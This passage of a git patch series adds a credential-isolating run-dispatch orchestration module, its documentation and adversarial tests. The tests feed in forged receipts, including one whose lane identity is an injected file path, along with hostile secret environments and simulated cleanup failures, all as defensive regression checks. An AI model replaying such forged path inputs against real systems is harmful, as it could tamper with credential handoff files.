assert.equal(receiptContainsSecret(receipt, SECRETS), false); + await cancelRunDispatchV1(receipt); + } finally { + await repo.cleanup(); + } +}); + +test('cancel, terminal, and restart clean credential handoffs and stop children', async () => { + const repo = await createLinearRepo('p31-cleanup-'); + const dispatcher = createRecordingDispatcher(); + try { + const manifest = twoLaneOrchestrationManifest({ + repositoryPath: repo.root, baseSha: repo.baseSha, runId: 'orchestration-cleanup', + }); + const receipt = await orchestrateRunDispatchV1( + { manifest, intent: 'dispatch' }, + { host: SUFFICIENT_HOST, env: HOSTILE_ENV, dispatch: dispatcher.dispatch }, + ); + const identities = receipt.lanes.map((lane) => lane.identity); + for (const identity of identities) { + const metadata = await lstat(handoffPathFromProcessIdentity(identity)); + assert.equal(metadata.isFile(), true); + } + const cancelled = await cancelRunDispatchV1(receipt); + assert.equal(cancelled.status, 'cancelled'); + assert.equal(cancelled.cleaned, true); + assert.deepEqual(dispatcher.stopped, identities); + for (const identity of identities) { + await expectMissing(handoffPathFromProcessIdentity(identity)); + } + + const restartDispatcher = createRecordingDispatcher(); + const again = await orchestrateRunDispatchV1( + { manifest, intent: 'dispatch' }, + { host: SUFFICIENT_HOST, env: HOSTILE_ENV, dispatch: restartDispatcher.dispatch }, + ); + const restarted = await restartRunDispatchV1(again, { dispatch: restartDispatcher.dispatch }); + assert.equal(restarted.status, 'dispatched'); + assert.equal(restarted.restarted, true); + assert.equal(restartDispatcher.stopped.length, identities.length); + for (const identity of again.lanes.map((lane) => lane.identity)) { + const metadata = await lstat(handoffPathFromProcessIdentity(identity)); + assert.equal(metadata.isFile(), true); + } + const terminal = await completeRunDispatchV1(again); + assert.equal(terminal.status, 'terminal'); + for (const identity of again.lanes.map((lane) => lane.identity)) { + await expectMissing(handoffPathFromProcessIdentity(identity)); + } + } finally { + await repo.cleanup(); + } +}); + +test('dispatch failure cleans any created handoff and does not leave a workspace', async () => { + const repo = await createLinearRepo('p31-fail-'); + try { + const before = await snapshotState(repo.root); + const identities = []; + const dispatch = async (plan) => { + identities.push(plan.identity); + throw new Error('injected dispatcher failure'); + }; + await assert.rejects( + () => orchestrateRunDispatchV1( + { + manifest: twoLaneOrchestrationManifest({ + repositoryPath: repo.root, baseSha: repo.baseSha, runId: 'orchestration-fail', + }), + intent: 'dispatch', + }, + { host: SUFFICIENT_HOST, env: HOSTILE_ENV, dispatch }, + ), + (error) => error instanceof RunContractV1Error && error.code === 'orchestration_dispatch_failed', + ); + assert.deepEqual(await snapshotState(repo.root), before); + for (const identity of identities) { + await expectMissing(handoffPathFromProcessIdentity(identity)); + } + } finally { + await repo.cleanup(); + } +}); + +test('worker remote mutation stays denied at the orchestration boundary', () => { + for (const operation of DENIED_OPERATIONS) { + try { + denyRunRemoteMutationV1(operation); + assert.fail(`expected denial for ${operation}`); + } catch (error) { + assert.ok(error instanceof CredentialBoundaryError); + assert.equal(error.code, 'remote_mutation_denied'); + assert.equal(error.message.includes(operation), false); + } + } + assert.equal(denyRunRemoteMutationV1('read_only_inspect'), 'read_only_inspect'); +}); From d0d180aa0171badf23a03e67cb644aea97a4698f Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Tue, 25 Aug 2026 17:02:45 +0000 Subject: [PATCH 106/151] docs(run): specify the P31 dispatch orchestration boundary Record the additive P31 contract: P26 preflight then P29 closed projection before any launch side effect, fail-closed capacity, cleanup on failure/cancel/terminal/restart, and denied remote mutation. Reserved composition seams receive P31-only entries. Workspace provisioning, P30, public API, and Gate A remain out of scope. --- CHANGELOG.md | 16 ++++++++ docs/future-work.md | 11 ++++++ docs/run-orchestration.md | 83 +++++++++++++++++++++++++++++++++++++++ 3 files changed, 110 insertions(+) create mode 100644 docs/run-orchestration.md diff --git a/CHANGELOG.md b/CHANGELOG.md index dd69577..2523e96 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -16,6 +16,22 @@ ### Added +- **Run dispatch orchestration boundary.** Adds additive v3 + `run-orchestration.mjs` (P31): it binds accepted P26 preflight to + accepted P29 closed credential/environment projection before any + workspace, branch or ref, reservation, dispatch, credential handoff, or + provider process exists. Preflight failure and host CPU/RAM capacity + denial fail closed with zero side effects. Prepare projects isolated + per-lane environments and still creates no handoff and no process. + Explicit dispatch uses an injected seam with closed env, credential-free + argv, owner-only identity-bound handoff files, cleanup on + failure/cancel/terminal/restart, content-free errors, and denied worker + remote mutation. The boundary never provisions workspaces, never audits + live refs (P30), never exposes a public API, and does not claim Gate A + or supervisor/server cutover. Coverage lives in + `test/r1-run-orchestration.test.mjs` and + `test/r1-run-orchestration-adversarial.test.mjs`; the boundary lives in + `docs/run-orchestration.md`. - **Provider registry composition authority.** Adds the additive v3 `provider-registry.mjs` module (P23): the deterministic, closed composition authority behind provider selection. It registers exactly the diff --git a/docs/future-work.md b/docs/future-work.md index 159abba..e4540ec 100644 --- a/docs/future-work.md +++ b/docs/future-work.md @@ -40,6 +40,17 @@ credential-free repository identity, and denied merge/push/create-PR/ tag/release operations. It does not mutate Git, isolate credentials (P29), or audit live refs (P30). +The P31 run dispatch orchestration boundary is in-tree as an additive +v3 module. It binds accepted P26 preflight to accepted P29 closed +credential/environment projection before any workspace, branch/ref, +reservation, dispatch, credential handoff, or provider process exists. +Preflight failure and capacity denial fail closed with zero side +effects. Successful dispatch preserves provider isolation, cleanup on +failure/cancel/terminal/restart, content-free errors, and denied remote +mutation. It does not implement P30 live-ref audit, public API, +supervisor/server cutover, workspace provisioning, or Gate A. The +separate supervisor false-success reliability issue is unchanged. + The P11 local provider result sink is in-tree as an additive provider-neutral router: final local Grok ACP, Cursor Local ACP, and DSH ACPX/CLI output is published through the accepted P09 sanitizer and P08 diff --git a/docs/run-orchestration.md b/docs/run-orchestration.md new file mode 100644 index 0000000..82fd56b --- /dev/null +++ b/docs/run-orchestration.md @@ -0,0 +1,83 @@ +# Run orchestration — dispatch boundary (P31) + +The P31 run dispatch orchestration boundary is one additive v3 module, +`plugins/codex-co-engineer/mcp/v3/run-orchestration.mjs`. It binds accepted +P26 preflight to accepted P29 closed credential/environment projection +**before** any workspace, branch or ref, reservation, dispatch, credential +handoff, or provider process exists. + +## Fail closed, then bind + +A preflight failure — including CPU/RAM capacity denial — fails closed +with **zero side effects**. The boundary does not project credentials, +does not read credential files, does not create a handoff, does not +invoke the dispatcher, and does not create a workspace, branch, ref, or +reservation. Upstream P26 denial codes pass through unchanged. + +Only a ready P26 receipt authorizes P29 projection. Projection is +in-memory and per resolved lane: Grok, Cursor Local, Cursor Cloud, DSH +Muse, and DSH Ox maps are closed allowlists. Foreign provider secrets, +Git/SSH/hosting tokens, control tokens, key-file paths, and +`NODE_OPTIONS` never appear. Lane argv never carries credential +material. Public receipts are content-free: they name projected keys and +identities, never values. + +Prepare (`intent: "prepare"`, the default) still creates no handoff and +no provider process. Dispatch is an explicit later intent through an +injected seam. There is no hidden default dispatcher and no +supervisor/server cutover. + +## Successful dispatch + +When `intent` is `dispatch` and a dispatcher function is injected: + +- every lane must already carry an exact provider/model pair + (`orchestration_selection_unresolved` otherwise, with no handoff); +- owner-only P29 handoff files are created from the process identity; +- the dispatcher receives the closed env and credential-free argv; +- secrets never appear in argv; +- worker remote mutation stays denied (`denyRunRemoteMutationV1` / + P29 `denyWorkerRemoteMutation`). + +Cleanup unlinks remaining handoff files and stops injected children on +dispatch failure, cancel, terminal completion, and restart. A restart +creates a new handoff for the same identity after the previous file is +gone. This boundary still never creates a workspace, branch, ref, or +reservation. + +## Composition + +| Surface | Owner | Use here | +| --- | --- | --- | +| Launch-side validation | P26 `validateRunPreflightV1` | runs first; failures are zero-effect | +| Closed env / handoff / redaction | P29 `credential-boundary` | projection, isolation, cleanup, argv/env inspection | +| Remote mutation denial | P29 consulting P28 | `denyRunRemoteMutationV1` | +| Provider composition | P23 registry | not invoked | +| Live protected-ref audit | P30 | not invoked | + +## Non-goals + +No workspace provisioning, branch/ref creation, reservation, P30 live-ref +audit, public API, supervisor/server cutover, release, Gate A, merge, +rebase, push, PR, tag, or protected/default-ref authority. The separate +supervisor false-success reliability issue is out of scope. + +## API + +- `orchestrateRunDispatchV1(request, options?)` — async; request is + `{ manifest, intent? }` with `intent` `prepare` (default) or `dispatch`. + Options may inject `host` and `spawn` (P26), `env` (P29 source, unread + until preflight succeeds), and `dispatch` (required for dispatch + intent). Returns a detached frozen receipt or throws a typed + content-free `RunContractV1Error` / `CredentialBoundaryError`. +- `cancelRunDispatchV1(receipt)` / `completeRunDispatchV1(receipt)` / + `restartRunDispatchV1(receipt, options?)` — cleanup and restart. +- `denyRunRemoteMutationV1(operation)` — P29 worker remote-mutation denial. +- `describeRunOrchestrationV1()` — deterministic frozen inventory. + +## Testing + +``` +node --no-warnings --test test/r1-run-orchestration.test.mjs \ + test/r1-run-orchestration-adversarial.test.mjs +``` From 8fbb0fb11d8552d1dd60cdfae771f464237bedcc Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Tue, 25 Aug 2026 17:32:15 +0000 Subject: [PATCH 107/151] fix(run): bind unique lifecycle identity and truthful registered cleanup Give each orchestration session a nonce-bound handoff identity so concurrent identical run_id+assignment_id executions cannot share a file. Cancel, terminal, and restart now require the internally registered receipt and reject forged or unknown caller identities without touching live handoffs. Unlink and stop failures return cleaned=false with sanitized per-lane unresolved evidence while remaining genuine lanes still clean best-effort. --- docs/run-orchestration.md | 25 ++- .../mcp/v3/run-orchestration.mjs | 158 +++++++++++++----- 2 files changed, 132 insertions(+), 51 deletions(-) diff --git a/docs/run-orchestration.md b/docs/run-orchestration.md index 82fd56b..216a816 100644 --- a/docs/run-orchestration.md +++ b/docs/run-orchestration.md @@ -33,17 +33,27 @@ When `intent` is `dispatch` and a dispatcher function is injected: - every lane must already carry an exact provider/model pair (`orchestration_selection_unresolved` otherwise, with no handoff); -- owner-only P29 handoff files are created from the process identity; +- owner-only P29 handoff files are created from a session-unique + lifecycle identity (a nonce bound into the P29 identity, never a + collidable `run_id`+`assignment_id` digest); - the dispatcher receives the closed env and credential-free argv; - secrets never appear in argv; - worker remote mutation stays denied (`denyRunRemoteMutationV1` / P29 `denyWorkerRemoteMutation`). Cleanup unlinks remaining handoff files and stops injected children on -dispatch failure, cancel, terminal completion, and restart. A restart -creates a new handoff for the same identity after the previous file is -gone. This boundary still never creates a workspace, branch, ref, or -reservation. +dispatch failure, cancel, terminal completion, and restart. Concurrent +executions that share `run_id` and `assignment_id` still receive distinct +handoff identities, so cancelling one run never deletes another run's +handoff. Cancel, terminal, and restart require the internally registered +receipt/session object; unknown or forged caller-supplied receipts, lane +identities, and paths are rejected without touching live handoffs. Unlink +or stop failures are not swallowed: remaining genuine lanes are still +cleaned best-effort, and the caller receives `cleaned: false` with +deterministic sanitized per-lane `unresolved` evidence. A restart creates +a new handoff for the same lifecycle identity only after the previous +cleanup fully succeeded. This boundary still never creates a workspace, +branch, ref, or reservation. ## Composition @@ -71,7 +81,10 @@ supervisor false-success reliability issue is out of scope. intent). Returns a detached frozen receipt or throws a typed content-free `RunContractV1Error` / `CredentialBoundaryError`. - `cancelRunDispatchV1(receipt)` / `completeRunDispatchV1(receipt)` / - `restartRunDispatchV1(receipt, options?)` — cleanup and restart. + `restartRunDispatchV1(receipt, options?)` — cleanup and restart of a + genuine internally registered receipt only. Returns `cleaned` plus + sanitized `unresolved` evidence; unknown receipts throw + `orchestration_session_unknown` and do not touch live handoffs. - `denyRunRemoteMutationV1(operation)` — P29 worker remote-mutation denial. - `describeRunOrchestrationV1()` — deterministic frozen inventory. diff --git a/plugins/codex-co-engineer/mcp/v3/run-orchestration.mjs b/plugins/codex-co-engineer/mcp/v3/run-orchestration.mjs index a27a67e..c990961 100644 --- a/plugins/codex-co-engineer/mcp/v3/run-orchestration.mjs +++ b/plugins/codex-co-engineer/mcp/v3/run-orchestration.mjs @@ -19,14 +19,19 @@ // 5. dispatch creates owner-only P29 handoffs (secrets never in argv), // invokes the injected dispatcher with the closed map, and on // failure/cancel/terminal/restart unlinks remaining handoff files -// via the process identity P29 already owns. +// via a session-unique lifecycle identity (never a collidable +// run_id+assignment_id digest). Cleanup uses only internally +// registered receipt/session provenance. Unlink/stop failures are +// not swallowed: remaining genuine lanes are still cleaned, and +// the caller receives cleaned=false with sanitized per-lane +// unresolved evidence. // // This boundary never provisions a workspace, never creates a branch or // ref, never holds a reservation, never audits live refs (P30), never // exposes a public API, and never claims Gate A. P23 composition is not // invoked. Upstream P26/P29 denial codes pass through unchanged. -import { createHash } from 'node:crypto'; +import { createHash, randomBytes } from 'node:crypto'; import { CREDENTIAL_BOUNDARY_ERROR_CODES, @@ -141,6 +146,11 @@ const PRIVATE_CONTENT_FREE = capturedFreeze({ }); const PRIVATE_SESSIONS = new WeakMap(); +const RANDOM_BYTES = randomBytes; +const PRIVATE_CLEANUP_FAILURE_CODES = capturedFreeze([ + 'handoff_cleanup_failed', + 'dispatcher_stop_failed', +]); function failOrchestration(code, errorPath) { fail(code, errorPath, PRIVATE_CONTENT_FREE[code] ?? 'The orchestration request failed closed.'); @@ -168,9 +178,13 @@ function emptySideEffects() { return sideEffects; } -function laneIdentity(runId, assignmentId) { +function newSessionNonce() { + return RANDOM_BYTES(16).toString('hex'); +} + +function laneIdentity(runId, assignmentId, nonce) { return createHash('sha256') - .update(`p31:${runId}:${assignmentId}`) + .update(`p31:${runId}:${assignmentId}:${nonce}`) .digest('hex') .slice(0, 32); } @@ -317,12 +331,12 @@ function resolveLaneExecution(assignment) { }; } -async function projectManifestLanes(runId, assignments, envSource) { +async function projectManifestLanes(runId, assignments, envSource, nonce) { const publicLanes = []; const internal = []; for (const assignment of assignments) { const assignmentId = assignment.assignment_id; - const identity = laneIdentity(runId, assignmentId); + const identity = laneIdentity(runId, assignmentId, nonce); const resolved = resolveLaneExecution(assignment); if (!resolved.resolved) { const lane = capturedFreeze({ @@ -412,34 +426,86 @@ function buildReceipt({ return freezeData(receipt); } -async function cleanupIdentities(identities) { - for (const identity of identities) { +function sanitizeUnresolved(entries) { + const unresolved = []; + for (const entry of entries) { + if (!entry || typeof entry !== 'object') continue; + const assignmentId = entry.assignment_id; + const code = entry.code; + if (typeof assignmentId !== 'string' || assignmentId.length === 0) continue; + if (typeof code !== 'string' || !capturedIncludes(PRIVATE_CLEANUP_FAILURE_CODES, code)) continue; + unresolved.push(capturedFreeze({ assignment_id: assignmentId, code })); + } + unresolved.sort((left, right) => { + if (left.assignment_id !== right.assignment_id) { + return left.assignment_id < right.assignment_id ? -1 : 1; + } + if (left.code !== right.code) return left.code < right.code ? -1 : 1; + return 0; + }); + return capturedFreeze(unresolved); +} + +function cleanupOutcome(unresolved) { + const sanitized = sanitizeUnresolved(unresolved); + return capturedFreeze({ + cleaned: sanitized.length === 0, + missing: false, + unresolved: sanitized, + }); +} + +async function cleanupIdentities(lanes) { + const unresolved = []; + for (const lane of lanes) { + const assignmentId = lane?.assignmentId; try { - await recoverCredentialHandoffByIdentity(identity); + const recovered = await recoverCredentialHandoffByIdentity(lane.identity); + if (recovered?.cleaned !== true) { + unresolved.push({ assignment_id: assignmentId, code: 'handoff_cleanup_failed' }); + } } catch { - // Best-effort cleanup must stay content-free and non-throwing. + unresolved.push({ assignment_id: assignmentId, code: 'handoff_cleanup_failed' }); } } + return unresolved; } async function stopDispatchers(stops) { - for (const stop of stops) { + const unresolved = []; + for (const entry of stops) { + const stop = typeof entry === 'function' ? entry : entry?.stop; if (typeof stop !== 'function') continue; try { await stop(); } catch { - // Stop failures must not resurrect secrets or skip remaining cleanup. + unresolved.push({ + assignment_id: typeof entry === 'object' && entry ? entry.assignmentId : undefined, + code: 'dispatcher_stop_failed', + }); } } + return unresolved; } async function cleanupSession(session) { - if (!session) return { cleaned: true, missing: true }; - session.cleaned = true; - await stopDispatchers(session.stops); - await cleanupIdentities(session.identities); + if (!session) { + return capturedFreeze({ + cleaned: false, + missing: true, + unresolved: capturedFreeze([]), + }); + } + const unresolved = []; + const stopFailures = await stopDispatchers(session.stops ?? []); + for (const entry of stopFailures) unresolved.push(entry); + const lanes = Array.isArray(session.internal) ? session.internal : []; + const handoffFailures = await cleanupIdentities(lanes); + for (const entry of handoffFailures) unresolved.push(entry); session.stops = []; - return { cleaned: true, missing: false }; + const outcome = cleanupOutcome(unresolved); + session.cleaned = outcome.cleaned; + return outcome; } async function createLaneHandoff(lane) { @@ -476,7 +542,9 @@ async function dispatchLanes(internal, parsed, sideEffects) { })); sideEffects.task_dispatched = true; sideEffects.provider_process_started = true; - if (result && typeof result.stop === 'function') stops.push(result.stop); + if (result && typeof result.stop === 'function') { + stops.push({ assignmentId: lane.assignmentId, identity: lane.identity, stop: result.stop }); + } } } catch (error) { await cleanupSession(session); @@ -495,10 +563,12 @@ export async function orchestrateRunDispatchV1(request, options) { preflightOptionsFrom(parsedOptions), ); const envSource = takeEnvAfterPreflight(parsedOptions); + const sessionNonce = newSessionNonce(); const projected = await projectManifestLanes( preflight.run_id, parsedRequest.manifest.assignments, envSource, + sessionNonce, ); sideEffects.credentials_projected = projected.internal.some((lane) => !lane.unresolved); let session = null; @@ -527,50 +597,47 @@ export async function orchestrateRunDispatchV1(request, options) { function requireSession(receipt) { assertNotProxy(receipt, 'receipt'); - if (!isPlainObject(receipt) && typeof receipt !== 'object') { + if (receipt === undefined || receipt === null || (typeof receipt !== 'object' && typeof receipt !== 'function')) { + failOrchestration('orchestration_session_unknown', 'receipt'); + } + let session; + try { + session = PRIVATE_SESSIONS.get(receipt); + } catch { failOrchestration('orchestration_session_unknown', 'receipt'); } - const session = PRIVATE_SESSIONS.get(receipt); if (!session) failOrchestration('orchestration_session_unknown', 'receipt'); return session; } -function identitiesFromReceipt(receipt) { - const lanes = receipt?.lanes; - if (!Array.isArray(lanes)) return []; - const identities = []; - for (const lane of lanes) { - if (lane && typeof lane.identity === 'string') identities.push(lane.identity); - } - return identities; +function lifecycleResult(status, cleanup, extra = {}) { + return freezeData({ + status, + cleaned: cleanup.cleaned === true, + missing: cleanup.missing === true, + unresolved: cleanup.unresolved, + ...extra, + }); } export async function cancelRunDispatchV1(receipt) { - let session = null; - try { - session = requireSession(receipt); - } catch (error) { - await cleanupIdentities(identitiesFromReceipt(receipt)); - if (error instanceof RunContractV1Error && error.code === 'orchestration_session_unknown') { - return freezeData({ status: 'cancelled', cleaned: true, missing: true }); - } - throw error; - } - await cleanupSession(session); - return freezeData({ status: 'cancelled', cleaned: true, missing: false }); + const session = requireSession(receipt); + const cleanup = await cleanupSession(session); + return lifecycleResult('cancelled', cleanup); } export async function completeRunDispatchV1(receipt) { const session = requireSession(receipt); - await cleanupSession(session); - return freezeData({ status: 'terminal', cleaned: true, missing: false }); + const cleanup = await cleanupSession(session); + return lifecycleResult('terminal', cleanup); } export async function restartRunDispatchV1(receipt, options) { const session = requireSession(receipt); - await stopDispatchers(session.stops); - session.stops = []; - await cleanupIdentities(session.identities); + const previous = await cleanupSession(session); + if (previous.cleaned !== true) { + return lifecycleResult('dispatched', previous, { restarted: false }); + } const parsed = parseOptions(options); const dispatch = parsed.dispatch ?? session.parsed.dispatch; if (typeof dispatch !== 'function') { @@ -590,6 +657,7 @@ export async function restartRunDispatchV1(receipt, options) { status: 'dispatched', cleaned: false, restarted: true, + unresolved: capturedFreeze([]), side_effects: capturedFreeze(sideEffects), }); } From bda8bbfe4b9e2b4784e30c31c91fea15a0d5f8bd Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Tue, 25 Aug 2026 17:32:15 +0000 Subject: [PATCH 108/151] test(run): cover collision, forged receipts, and cleanup failures Add hostile regressions for concurrent identical runs, cross-cancel survival, forged and unknown receipts, injected unlink failure, and cancel/terminal/restart truthfulness when stop or cleanup fails. --- .../r1-run-orchestration-fixtures.mjs | 22 +- .../r1-run-orchestration-adversarial.test.mjs | 263 +++++++++++++++++- .../test/r1-run-orchestration.test.mjs | 46 +++ 3 files changed, 326 insertions(+), 5 deletions(-) diff --git a/plugins/codex-co-engineer/test/fixtures/r1-run-orchestration-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-run-orchestration-fixtures.mjs index 237f9b7..6fbdd0c 100644 --- a/plugins/codex-co-engineer/test/fixtures/r1-run-orchestration-fixtures.mjs +++ b/plugins/codex-co-engineer/test/fixtures/r1-run-orchestration-fixtures.mjs @@ -4,7 +4,7 @@ // substitutes a provider. import { createHash } from 'node:crypto'; -import { lstat, readdir, readFile } from 'node:fs/promises'; +import { lstat, mkdir, readdir, readFile, rm, unlink } from 'node:fs/promises'; import path from 'node:path'; import { DENIED_OPERATIONS } from '../../mcp/v3/git-authority.mjs'; @@ -76,9 +76,12 @@ export function mixedProviderManifest(overrides = {}) { ], overrides); } -export function createRecordingDispatcher() { +export function createRecordingDispatcher({ failStopFor } = {}) { const calls = []; const stopped = []; + const failStop = failStopFor == null + ? null + : new Set(Array.isArray(failStopFor) ? failStopFor : [failStopFor]); const dispatch = async (plan) => { calls.push({ assignment_id: plan.assignment_id, @@ -93,12 +96,27 @@ export function createRecordingDispatcher() { identity: plan.identity, stop: async () => { stopped.push(plan.identity); + if (failStop && failStop.has(plan.assignment_id)) { + throw new Error('injected dispatcher stop failure'); + } }, }; }; return { dispatch, calls, stopped }; } +export async function injectHandoffUnlinkFailure(identity) { + const filePath = handoffPathFromProcessIdentity(identity); + const directory = path.dirname(filePath); + await unlink(filePath); + await mkdir(filePath); + return { filePath, directory }; +} + +export async function restoreInjectedHandoffUnlinkFailure(filePath) { + await rm(filePath, { recursive: true, force: true }); +} + export async function snapshotState(root) { const entries = []; async function walk(relative) { diff --git a/plugins/codex-co-engineer/test/r1-run-orchestration-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-run-orchestration-adversarial.test.mjs index 2da4efa..9bfcfc8 100644 --- a/plugins/codex-co-engineer/test/r1-run-orchestration-adversarial.test.mjs +++ b/plugins/codex-co-engineer/test/r1-run-orchestration-adversarial.test.mjs @@ -1,20 +1,30 @@ // P31 run orchestration — adversarial coverage: hostile preflight and // capacity denials create zero side effects, env/argv isolation holds, -// getters and proxies never run, dispatch is not a hidden default, and -// remote mutation remains denied. +// getters and proxies never run, dispatch is not a hidden default, +// concurrent identical runs cannot share a handoff, forged receipts cannot +// cancel live lanes, cleanup failures stay truthful, and remote mutation +// remains denied. import assert from 'node:assert/strict'; import { Buffer as NodeBuffer } from 'node:buffer'; import { lstat } from 'node:fs/promises'; import test from 'node:test'; -import { CredentialBoundaryError } from '../mcp/v3/credential-boundary.mjs'; +import { + CredentialBoundaryError, + collectLaneSecrets, +} from '../mcp/v3/credential-boundary.mjs'; import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; import { + cancelRunDispatchV1, + completeRunDispatchV1, denyRunRemoteMutationV1, orchestrateRunDispatchV1, + restartRunDispatchV1, } from '../mcp/v3/run-orchestration.mjs'; import { + ASSIGNMENT_ID_A, + ASSIGNMENT_ID_B, HOSTILE_ENV, SUFFICIENT_HOST, createLinearRepo, @@ -22,13 +32,18 @@ import { createRecordingSpawn, handoffPathFromProcessIdentity, hostFacts, + injectHandoffUnlinkFailure, laneManifestsForCount, + restoreInjectedHandoffUnlinkFailure, snapshotState, twoLaneOrchestrationManifest, writerLane, preflightManifest, + receiptContainsSecret, } from './fixtures/r1-run-orchestration-fixtures.mjs'; +const SECRETS = collectLaneSecrets(HOSTILE_ENV); + async function expectCode(promise, code, ErrorType = RunContractV1Error) { try { await promise; @@ -245,6 +260,248 @@ test('unresolved lanes may prepare but cannot dispatch', async () => { } }); +function assertNoSecret(value) { + assert.equal(receiptContainsSecret(value, SECRETS), false); +} + +async function expectMissing(filePath) { + await assert.rejects(() => lstat(filePath), { code: 'ENOENT' }); +} + +test('concurrent identical run_id+assignment_id executions never share a handoff', async () => { + const repo = await createLinearRepo('p31-adv-collide-'); + const firstDispatcher = createRecordingDispatcher(); + const secondDispatcher = createRecordingDispatcher(); + try { + const manifest = twoLaneOrchestrationManifest({ + repositoryPath: repo.root, baseSha: repo.baseSha, runId: 'orchestration-hostile-collide', + }); + const [first, second] = await Promise.all([ + orchestrateRunDispatchV1( + { manifest, intent: 'dispatch' }, + { host: SUFFICIENT_HOST, env: HOSTILE_ENV, dispatch: firstDispatcher.dispatch }, + ), + orchestrateRunDispatchV1( + { manifest, intent: 'dispatch' }, + { host: SUFFICIENT_HOST, env: HOSTILE_ENV, dispatch: secondDispatcher.dispatch }, + ), + ]); + const firstIdentities = first.lanes.map((lane) => lane.identity); + const secondIdentities = second.lanes.map((lane) => lane.identity); + assert.equal(new Set([...firstIdentities, ...secondIdentities]).size, 4); + for (const identity of firstIdentities) { + assert.equal(secondIdentities.includes(identity), false); + } + const cancelledFirst = await cancelRunDispatchV1(first); + assert.equal(cancelledFirst.cleaned, true); + for (const identity of firstIdentities) { + await expectMissing(handoffPathFromProcessIdentity(identity)); + } + for (const identity of secondIdentities) { + const metadata = await lstat(handoffPathFromProcessIdentity(identity)); + assert.equal(metadata.isFile(), true); + } + const cancelledSecond = await cancelRunDispatchV1(second); + assert.equal(cancelledSecond.cleaned, true); + for (const identity of secondIdentities) { + await expectMissing(handoffPathFromProcessIdentity(identity)); + } + } finally { + await repo.cleanup(); + } +}); + +test('cross-cancel of one concurrent run cannot delete the other run handoff', async () => { + const repo = await createLinearRepo('p31-cross-cancel-'); + try { + const manifest = twoLaneOrchestrationManifest({ + repositoryPath: repo.root, baseSha: repo.baseSha, runId: 'orchestration-cross-cancel', + }); + const first = await orchestrateRunDispatchV1( + { manifest, intent: 'dispatch' }, + { host: SUFFICIENT_HOST, env: HOSTILE_ENV, dispatch: createRecordingDispatcher().dispatch }, + ); + const second = await orchestrateRunDispatchV1( + { manifest, intent: 'dispatch' }, + { host: SUFFICIENT_HOST, env: HOSTILE_ENV, dispatch: createRecordingDispatcher().dispatch }, + ); + const survivor = second.lanes.map((lane) => lane.identity); + await cancelRunDispatchV1(first); + for (const identity of survivor) { + const metadata = await lstat(handoffPathFromProcessIdentity(identity)); + assert.equal(metadata.isFile(), true); + } + await cancelRunDispatchV1(second); + } finally { + await repo.cleanup(); + } +}); + +test('forged and unknown receipts cannot touch live handoffs', async () => { + const repo = await createLinearRepo('p31-forged-receipt-'); + const dispatcher = createRecordingDispatcher(); + try { + const receipt = await orchestrateRunDispatchV1( + { + manifest: twoLaneOrchestrationManifest({ + repositoryPath: repo.root, baseSha: repo.baseSha, runId: 'orchestration-forged', + }), + intent: 'dispatch', + }, + { host: SUFFICIENT_HOST, env: HOSTILE_ENV, dispatch: dispatcher.dispatch }, + ); + const liveIdentities = receipt.lanes.map((lane) => lane.identity); + const stolenIdentity = liveIdentities[0]; + const cloned = JSON.parse(JSON.stringify(receipt)); + const forged = { + schema: receipt.schema, + version: receipt.version, + status: receipt.status, + run_id: receipt.run_id, + lanes: receipt.lanes.map((lane) => ({ + assignment_id: lane.assignment_id, + identity: lane.identity, + })), + }; + const pathInjected = { + ...cloned, + lanes: [ + { + assignment_id: ASSIGNMENT_ID_A, + identity: '/tmp/cce-p29-deadbeefdeadbeefdeadbeefdeadbeef/env.json', + }, + ], + }; + await expectCode(cancelRunDispatchV1(cloned), 'orchestration_session_unknown'); + await expectCode(completeRunDispatchV1(forged), 'orchestration_session_unknown'); + await expectCode(restartRunDispatchV1(pathInjected), 'orchestration_session_unknown'); + await expectCode(cancelRunDispatchV1({}), 'orchestration_session_unknown'); + await expectCode(cancelRunDispatchV1(null), 'orchestration_session_unknown'); + await expectCode( + cancelRunDispatchV1(new Proxy(receipt, {})), + 'proxy_denied', + ); + for (const identity of liveIdentities) { + const metadata = await lstat(handoffPathFromProcessIdentity(identity)); + assert.equal(metadata.isFile(), true); + } + assert.equal(stolenIdentity.length, 32); + const cancelled = await cancelRunDispatchV1(receipt); + assert.equal(cancelled.cleaned, true); + } finally { + await repo.cleanup(); + } +}); + +test('injected handoff unlink failure stays unresolved and does not skip sibling lanes', async () => { + const repo = await createLinearRepo('p31-unlink-fail-'); + const dispatcher = createRecordingDispatcher(); + let injected = null; + try { + const receipt = await orchestrateRunDispatchV1( + { + manifest: twoLaneOrchestrationManifest({ + repositoryPath: repo.root, baseSha: repo.baseSha, runId: 'orchestration-unlink-fail', + }), + intent: 'dispatch', + }, + { host: SUFFICIENT_HOST, env: HOSTILE_ENV, dispatch: dispatcher.dispatch }, + ); + const failedLane = receipt.lanes.find((lane) => lane.assignment_id === ASSIGNMENT_ID_A); + const sibling = receipt.lanes.find((lane) => lane.assignment_id === ASSIGNMENT_ID_B); + injected = await injectHandoffUnlinkFailure(failedLane.identity); + const cancelled = await cancelRunDispatchV1(receipt); + assert.equal(cancelled.status, 'cancelled'); + assert.equal(cancelled.cleaned, false); + assert.deepEqual([...cancelled.unresolved], [ + { assignment_id: ASSIGNMENT_ID_A, code: 'handoff_cleanup_failed' }, + ]); + assertNoSecret(cancelled); + assert.equal(JSON.stringify(cancelled).includes(injected.filePath), false); + const trap = await lstat(injected.filePath); + assert.equal(trap.isDirectory(), true); + await expectMissing(handoffPathFromProcessIdentity(sibling.identity)); + } finally { + if (injected) await restoreInjectedHandoffUnlinkFailure(injected.filePath); + await repo.cleanup(); + } +}); + +test('cancel terminal and restart stay truthful when stop or unlink fails', async () => { + const repo = await createLinearRepo('p31-truthful-'); + try { + const stopDispatcher = createRecordingDispatcher({ failStopFor: ASSIGNMENT_ID_A }); + const stopReceipt = await orchestrateRunDispatchV1( + { + manifest: twoLaneOrchestrationManifest({ + repositoryPath: repo.root, baseSha: repo.baseSha, runId: 'orchestration-stop-fail', + }), + intent: 'dispatch', + }, + { host: SUFFICIENT_HOST, env: HOSTILE_ENV, dispatch: stopDispatcher.dispatch }, + ); + const cancelled = await cancelRunDispatchV1(stopReceipt); + assert.equal(cancelled.status, 'cancelled'); + 